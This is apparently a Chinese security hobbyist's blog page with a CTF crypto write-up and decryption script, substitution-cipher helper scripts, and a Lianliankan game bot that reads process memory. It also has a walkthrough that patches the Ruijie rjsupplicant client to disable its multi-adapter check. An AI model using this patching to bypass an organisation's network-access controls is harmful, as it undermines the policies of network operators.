运行得到key ![](data:image/png;base64,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) 因为key是循环取的,所以key='DoNotTryToGuessWhatDoesD3AdCa7ThinkOf' 之后写一个解密脚本解密msg02.enc即可
g = open('msg02.enc', 'rb').read()
f = open('msgtest02', 'wb')
key = 'DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'
i = 0
t = chr(0)
p = ''
str = ''
for c in g:
p =chr( (ord(c) - i**i - (ord(key\[i % len(key)\]) ^ ord(t)) ) & 0xff )
t = p
i += 1
str += p
f.write(p)
print str
f.close()

Comment and share

ACTF清明放假回家。。所以就不做了,抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va’ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy’n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy? ————割———— 很像单表代换的,参考辅助处理单表替换密码 yja很明显应该是the,剩下的慢慢试试。 下面的就转出部分没有转全 nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phracw magahine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the neft phracw issue, when the time has come, we’ll decide to compile a new issue from the articles that have been submitted. that’s basically it. and grab you flag here, cryptooosocoolamiright? key在最后一句cryptooosocoolamiright

Comment and share

整理了一些东西,方便单表密码分析。 分析单表替换密码:http://www.counton.org/explorer/codebreaking/frequency-analysis.php 这网站上同时还有一些简单的密码分析 下面是一个替换后上下两行显示明密文通过颜色对比的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/bash
#rois_yf
##################################################
cipher="oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?"
tranOrl='yjaqnarikevz'
tranRst='theasemoilwc'
##################################################
echoKnownPlain()
{
#white
echo -n -e "33\[0m$133\[0m"
}
echoCipher()
{
#red
echo -n -e "33\[31m$133\[0m"
}
echoUnknownPlain()
{
#blue
echo -n -e "33\[36m$133\[0m"
}
plain=\`echo $cipher | tr $tranOrl $tranRst\`
cols=\`tput cols\`
echo
echo
tput cuu 2
tput sc
for((i=0;i<${#plain};i++))
{
tput rc
echoCipher "${cipher:i:1}"
tput sc
tput cud 1
tput cub 1
if \[ "${plain:i:1}" != "${cipher:i:1}" \];
then
echoKnownPlain "${plain:i:1}"
else
echoUnknownPlain "${plain:i:1}"
fi
if (( $\[$cols-1\] == $\[$i%$cols\] ));
then
echo
echo
tput cuu 1
tput sc
fi
}
echo

效果如下 最后是个简单的替换脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
#\-\*\- coding:utf-8 -*-
"""
rois_yf
"""
import sys
import os
import string
def main():
cipher = "oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?"
print
print (cipher)
translate_table = string.maketrans('yjaqnarikovbceszxupgmd', 'theasemoinwrvlfcupbydg')
print (cipher.translate(translate_table))
return
if \_\_name\_\_ == '\_\_main\_\_':
main()

Comment and share

福大锐捷更新了新版的。。。也有个linux版rjsupplicant rjsupplicant这个程序分x86和x64两个版本,启动时通过sh判断版本运行。 通过IDA加载x86的试试看,发现有带调试信息。。。一切就简单了。 先试试把多网卡处理掉,有调试信息的话先试试直接找函数看看。 尝试搜索字符串,多网卡就搜索multi试试,发现一个CAdapterDetectThread::MultipleAdaptesOrIPCheck函数 看下F5的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
int __cdecl CAdapterDetectThread::MultipleAdaptesOrIPCheck(int a1)
{
int v1; // eax@1
int v2; // ebx@2
int v3; // esi@6
signed int v4; // ecx@6
char v5; // zf@6
int v6; // edi@6
int i; // esi@10
int *v8; // eax@14
int v9; // eax@15
int v11; // \[sp+8h\] \[bp-60h\]@16
int v12; // \[sp+Ch\] \[bp-5Ch\]@16
const char *s1; // \[sp+24h\] \[bp-44h\]@2
void *ptr; // \[sp+28h\] \[bp-40h\]@1
char dest; // \[sp+30h\] \[bp-38h\]@19
int *v16; // \[sp+40h\] \[bp-28h\]@19
int v17; // \[sp+50h\] \[bp-18h\]@19
int v18; // \[sp+54h\] \[bp-14h\]@19
int v19; // \[sp+58h\] \[bp-10h\]@15
v1 = get\_nics\_info(0);
ptr = (void *)v1;
if ( !v1 )
return free\_nics\_info(ptr);
v2 = v1;
s1 = (const char *)(a1 + 360);
while ( !strcmp(s1, (const char *)v2) )
{
v3 = v2 + 16;
CLogFile::AppendText(g\_log\_Wireless, "nic name:%s", s1);
v4 = 6;
v5 = a1 == -884;
v6 = a1 + 884;
do
{
if ( !v4 )
break;
v5 = *(\_BYTE *)v3++ == *(\_BYTE *)v6++;
--v4;
}
while ( v5 );
if ( !v5 )
{
CLogFile::AppendText(g\_log\_Wireless, "mac chagedn");
v12 = 0;
v11 = 30;
goto FindMul;
}
CLogFile::AppendText(g\_log\_Wireless, "ipv4 count:%d", *(_DWORD *)(v2 + 48));
for ( i = *(\_DWORD *)(v2 + 52); i; i = *(\_DWORD *)(i + 8) )
CLogFile::AppendText(
g\_log\_Wireless,
(const char *)&unk_810ED8E,
*(_BYTE *)(i + 3),
*(_BYTE *)(i + 2),
*(_BYTE *)(i + 1),
*(_BYTE *)i);
if ( *(\_DWORD *)(v2 + 48) > 1 && *(\_BYTE *)(a1 + 890) )
{
CLogFile::AppendText(g\_log\_Wireless, "multiple ipsn");
v12 = 0;
v11 = 21;
goto FindMul;
}
v8 = *(int **)(v2 + 52);
if ( !v8 )
{
CLogFile::AppendText(g\_log\_Wireless, "ip chaged - no ipn");
v12 = 0;
v11 = 31;
goto FindMul;
}
v9 = *v8;
v19 = v9;
LOWORD(v9) = \_\_ROR\_\_(v9, 8);
v9 = \_\_ROR\_\_(v9, 16);
LOWORD(v9) = \_\_ROR\_\_(v9, 8);
v5 = *(_DWORD *)(a1 + 880) == v9;
v19 = v9;
if ( !v5 )
{
CLogFile::AppendText(g\_log\_Wireless, "ip chagedn");
v12 = 0;
v11 = 31;
goto FindMul;
}
LABEL_4:
v2 = *(_DWORD *)(v2 + 64);
if ( !v2 )
return free\_nics\_info(ptr);
}
if ( !*(_BYTE *)(a1 + 890) )
goto LABEL_4;
CLogFile::AppendText(g\_log\_Wireless, (const char *)&unk_810EDC9, v2);
memset(&dest, 0, 0x20u);
strncpy(&dest, (const char *)v2, 0xFu);
v16 = &v17;
v17 = 10;
v18 = 0;
if ( ioctl(*(_DWORD *)(a1 + 900), 0x8913u, &dest) < 0 )
{
if ( ioctl(*(_DWORD *)(a1 + 900), 0x8946u, &dest) >= 0 && v18 == 1 )
{
CLogFile::AppendText(g\_log\_Wireless, "multiple adaptersn");
v12 = 0;
v11 = 20;
goto FindMul;
}
goto LABEL_4;
}
if ( !((unsigned \_\_int8)v16 & 1) || !((unsigned \_\_int8)v16 & 0x40) )
{
CLogFile::AppendText(g\_log\_Wireless, "SIOCGIFFLAGS flags:%4x", (signed __int16)v16);
goto LABEL_4;
}
CLogFile::AppendText(g\_log\_Wireless, "multiple adapters flags:%4x", (signed __int16)v16);
v12 = 0;
v11 = 20;
FindMul:
PostThreadMessage(*(\_DWORD *)(a1 + 872), *(\_DWORD *)(a1 + 876), v11, v12);
return free\_nics\_info(ptr);
}

真好。。还有输出调试,可以看出如果发现多网卡多IP等情况会跳转到FindMul这个label然后PostMessage,应该是判断出多网卡之后向线程发送一个通知信息。把这个函数nop掉就Patch掉多网卡限制了。 ————割———— 之后是Network-manager服务 查找跟service有关的,找到一个stop_service函数

1
2
3
4
5
6
7
8
9
int \_\_cdecl service\_stop(int a1)
{
char s; // \[sp+10h\] \[bp-208h\]@1
memset(&s, 0, 0x200u);
sprintf(&s, "service %s stop 2>&-", a1);
system(&s);
return service_stop2(a1);
}

这个函数作用是通过传入的服务名调用system关闭服务。 查看xrefs引用

都是在EnvironmentCheck中引用。 查看下这个函数发现第一处的引用是关闭Network-Manager的。nop掉他,结束。 x64的也是类似的,就不重复了

Comment and share

人生真是寂寞如雪啊。。。

思路是找到棋盘位置->读取棋盘数据->计算可消除的格子->向窗口发送鼠标点击消息

Tip:可以点击练习来进行单人游戏。

找棋盘位置

找棋盘位置本来想下rand或者消息。。。结果断不了。。。只能用最简单的CE了。。。 跟金山游侠一样哦,选一个进程,然后搜索内存~ 预测棋盘应该是一个数组,就用棋盘最左上角的那个位置做参照,预测有东西应该是非0,没有应该大于0。
利用CE不断搜索,没搜一次再点练习更新一次棋盘 经过试验value type是byte哦 最后找到棋盘地址如下,这是x64的,x86的要再找下。。

读取棋盘数据

读棋盘数据首先要获得进程pid,可以通过Findwindow先找到窗口句柄,然后再GetWindowThreadProcessId找到pid。 最后ReadProcessMemory把棋盘数据读到数组里就好了。棋盘大小是11*19

1
2
3
4
5
6
7
8
9
10
11
hWnd = FindWindow(NULL, \_T(GAME\_CAPTION));
if (hWnd == NULL)
{
\_tprintf\_s(_T("Cant find windown"));
return FALSE;
}
GetWindowThreadProcessId(hWnd, &pid);
hGame = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, pid);
ReadProcessMemory(hGame, lpChess, chess, 11 * 19, NULL);
CloseHandle(hGame);

计算可消除的格子

棋盘数据已经存在11*19的数组里了,0代表空格,非零的情况对应的号码代表一个块,同号码代表同块 我是用一个深搜,先将棋盘外围填上一个边界值-1,代表到边界。

1
2
3
4
5
6
7
8
memset(chess2, -1, sizeof(chess2));
for (int i = 0; i < 11; i++)
{
for (int j = 0; j < 19; j++)
{
chess2\[i + 1\]\[j + 1\] = chess\[i\]\[j\];
}
}

之后从棋盘左上角开始遍历,判断每一个方块是否可以被消除。判断是否可以被消除的函数为bCheck()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int x1, x2, y1, y2;
for (x1 = 1; x1 <= 11; x1++)
{
for (y1 = 1; y1 <= 19; y1++)
{
if (chess2\[x1\]\[y1\] == 0)
continue;
for (x2 = 1; x2 <= 11; x2++)
{
for (y2 = 1; y2 <= 19; y2++)
{
if (!(x1 == x2 && y1 == y2) && chess2\[x1\]\[y1\] == chess2\[x2\]\[y2\])
{
if (bCheck(x1, y1, x2, y2, 0, DIRECT_BEGIN))
{
\_tprintf\_s(_T("GET:%d,%d and %d,%dn"), x1, y1, x2, y2);
CloseHandle(hWnd);
return TRUE;
}
}
}
}
}
}

下面是关键的bCheck,采用深搜。依次向上下左右递归搜索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
BOOL ClearLianliankan::bCheck(int x1, int y1, int x2, int y2, int cTurn, int eDirect)
{
if (cTurn > 3)
return FALSE;
if (x1 == x2 && y1 == y2)
return TRUE;
//UP
if ((chess2\[x1 - 1\]\[y1\] == 0 || chess2\[x1 - 1\]\[y1\] == chess2\[x2\]\[y2\]) && eDirect != DIRECT_DOWN)
{
if (eDirect != DIRECT_UP)
{
if (bCheck(x1 - 1, y1, x2, y2, cTurn + 1, DIRECT_UP))
return TRUE;
}
else
{
if (bCheck(x1 - 1, y1, x2, y2, cTurn, DIRECT_UP))
return TRUE;
}
}
//DOWN
if ((chess2\[x1 + 1\]\[y1\] == 0 || chess2\[x1 + 1\]\[y1\] == chess2\[x2\]\[y2\]) && eDirect != DIRECT_UP)
{
if (eDirect != DIRECT_DOWN)
{
if (bCheck(x1 + 1, y1, x2, y2, cTurn + 1, DIRECT_DOWN))
return TRUE;
}
else
{
if (bCheck(x1 + 1, y1, x2, y2, cTurn, DIRECT_DOWN))
return TRUE;
}
}
//LEFT
if ((chess2\[x1\]\[y1 - 1\] == 0 || chess2\[x1\]\[y1 - 1\] == chess2\[x2\]\[y2\]) && eDirect != DIRECT_RIGHT)
{
if (eDirect != DIRECT_LEFT)
{
if (bCheck(x1, y1 - 1, x2, y2, cTurn + 1, DIRECT_LEFT))
return TRUE;
}
else
{
if (bCheck(x1, y1 - 1, x2, y2, cTurn, DIRECT_LEFT))
return TRUE;
}
}
//RIGHT
if ((chess2\[x1\]\[y1 + 1\] == 0 || chess2\[x1\]\[y1 + 1\] == chess2\[x2\]\[y2\]) && eDirect != DIRECT_LEFT)
{
if (eDirect != DIRECT_RIGHT)
{
if (bCheck(x1, y1 + 1, x2, y2, cTurn + 1, DIRECT_RIGHT))
return TRUE;
}
else
{
if (bCheck(x1, y1 + 1, x2, y2, cTurn, DIRECT_RIGHT))
return TRUE;
}
}
return FALSE;
}

向窗口发送鼠标点击消息

用PostMessage就搞定啦。

1
2
3
4
PostMessage(hWnd, WM\_LBUTTONDOWN, 0, MAKELPARAM(25 + BLOCK\_WIDTH*(y1 - 1), 195 + BLOCK_HIGHT*(x1 - 1)));
PostMessage(hWnd, WM\_LBUTTONUP, 0, MAKELPARAM(25 + BLOCK\_WIDTH*(y1 - 1), 195 + BLOCK_HIGHT*(x1 - 1)));
PostMessage(hWnd, WM\_LBUTTONDOWN, 0, MAKELPARAM(25 + BLOCK\_WIDTH*(y2 - 1), 195 + BLOCK_HIGHT*(x2 - 1)));
PostMessage(hWnd, WM\_LBUTTONUP, 0, MAKELPARAM(25 + BLOCK\_WIDTH*(y2 - 1), 195 + BLOCK_HIGHT*(x2 - 1)));

这边要注意发送的坐标信息要我们自己去收集,可以用VS自带的Spy++,找到每个格子的长宽以及左上角格子的坐标。

完整代码

添加了热键什么的

https://github.com/yufanpi/lianliankan/

Comment and share

Author's picture

Eadom

NO PWN NO FUN


@Alibaba


Hangzhou